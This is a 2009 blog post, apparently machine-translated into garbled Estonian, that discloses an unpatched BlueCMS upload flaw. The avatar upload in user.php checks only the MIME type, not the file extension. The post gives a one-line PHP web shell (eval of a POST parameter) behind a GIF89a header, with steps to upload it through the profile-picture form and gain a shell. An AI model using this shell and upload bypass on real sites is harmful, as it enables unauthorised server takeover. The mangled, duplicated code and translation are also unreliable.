bluecms 0day-0day, bluecms, bluecms 0day, php, upload, toimikus peaga st0p 's blog

bluecms 0day

See sissekanne postitati oktoober 7, 2009

: St0p
Reprodutseerida palume viidata allikale: http://www.st0p.org

Märkus: Vabandame, versioon hommikul juuksed öösel on nn dual et ajalehe 0day, informeeritud ja minge ametnik vaatas ja avaldas turvapaiga varsti ah .. võid minna online ei ajakohastatud versiooni test ...

Alas, grupi sõber tehtud CMS, ütles kasutajaandmeid muuta mõned võib süstida ütles analüüsi, kohapeal paigaldatud pärast, ei saa kasutada ülakoma ei pääsenud magic_quotes_gpc = off. . .

Vaata lisada / common.inc.php liini loobuma. .

  ......
  ! get_magic_quotes_gpc ( ) ) if (! get_magic_quotes_gpc ())
  {
 	 deep_addslashes ( $_POST ) ; $ _POST = Deep_addslashes ($ _POST);
 	 deep_addslashes ( $_GET ) ; $ _GET = Deep_addslashes ($ _GET);
 	 deep_addslashes ( $_COOKIES ) ; $ _COOKIES = Deep_addslashes ($ _COOKIES);
 	 deep_addslashes ( $_REQUEST ) ; $ _REQUEST = Deep_addslashes ($ _REQUEST);
  }
 ......

Võibolla st0p õnne, vaata pilte osade analüüs kood, kasutage midagi leida user.php. .

  BLUE_ROOT . 'include/upload.class.php' ) ; //调用上传类 require_once (BLUE_ROOT. 'include / upload.class.php'); / / helistada Lisamise klass
     new upload ( ) ; $ Pilt = new upload ();
	  isset ( $_FILES [ 'face_pic' ] [ 'error' ] ) && $_FILES [ 'face_pic' ] [ 'error' ] == 0 ) { if (isset ($ _FILES ['face_pic'] ['error']) && $ _FILES ['face_pic'] ['error'] == 0) {
		 $image -> img_upload ( $_FILES [ 'face_pic' ] , 'face_pic' ) ; $ Face_pic = $ image -> img_upload ($ _FILES ['face_pic "]," face_pic'); 
                          / / Ei tuvastanud järelliide otse, klass saab läbida SHELL
	 }

Avage include / upload.class.php ainult tuvastada faili päis ei tuvasta järelliide

 upload { private $allow_image_type = array ( 'image/jpg' , 'image/gif' , 'image/png' , 'image/pjpeg' ) ; ...... function img_upload ( $file , $dir = '' , $imgname = '' ) { if ( empty ( $dir ) ) { $dir = BLUE_ROOT . DATA . UPLOAD . date ( "Ym" ) . "/" ; } else { $dir = BLUE_ROOT . DATA . UPLOAD . $dir . "/" ; } if ( ! file_exists ( $dir ) ) { if ( ! mkdir ( $dir ) ) { showmsg ( '上传过程中创建目录失败' ) ; } } if ( empty ( $imgname ) ) { $imgname = $this -> create_tempname ( ) . $this -> get_type ( $file [ 'name' ] ) ; } $imgname = $dir . $imgname ; if ( ! in_array ( $file [ 'type' ] , $this -> allow_image_type ) ) { //只是检测了文件头部来着，那我们就直接构造一个SHELL就好了 showmsg ( '不允许的图片类型' ) ; } } ...... Klassi Lisamise {erasektori $ allow_image_type = array ("image / jpg ',' image / gif", "image / png", "image / pjpeg '); ...... funktsioon img_upload ($ file, $ dir ='', $ imgname ='') {if (tühi ($ dir)) {$ dir = BLUE_ROOT. DATA. UPLOAD. kuupäev ("YM"). "/";} else {$ dir = BLUE_ROOT DATA. UPLOAD $ dir. "/";} if (file_exists ($ dir)) {if (! mkdir ($ dir)) {showmsg ("üleslaadimise protsessi loomine nurjus kataloog");}}, kui (tühi ($ imgname)) {$ imgname = $ this -> create_tempname (). $ this -> get_type ($ fail ['name']);} $ imgname = $ dir. $ imgname; if (! in_array ($ file ["tüüp"], $ this -> allow_image_type)) {/ / lihtsalt tuvastada faili päis, me otse ehitada SHELL nagu showmsg pildi tüüp ("ei ole lubatud ');}}

Eespool välja arvatud st0p.php

2	GIF89a ( $_POST [ st0p ] ) ; ?> <? Php eval ($ _POST [st0p]);?>

Märkus Network login liige -> minu profiili, laadige uus pilt valimisi ehitasime PHP fail, punkt kinnitada muuta, vaadata aadress on edukas, paremklõpsake fotol otse liinil. . Word SHELL saatmine õnnestus!

Analüüs on valmis, ma loodan, et rohkem vahetusi, küsimus neid asju tahan täita mõned sõbrad kokku, et arutada tehnoloogia, mis on loodud rühm kui ka lihtsalt tavalise grupi, vaid 100 inimest, koristada, mitte kunagi rääkima oli halvasti koormatud B kaos T, masendunud, avatud grupp on vahetada, ei oska olnud kohatäide olemas, tahad progressi, endassesulgunud tee ei saa minna!
Kui sind grupp lihtsalt saada arutelude tulemusi teiste teised, ei tea maksma, või lihtsalt tulevad sukeldumisega või ilma. . .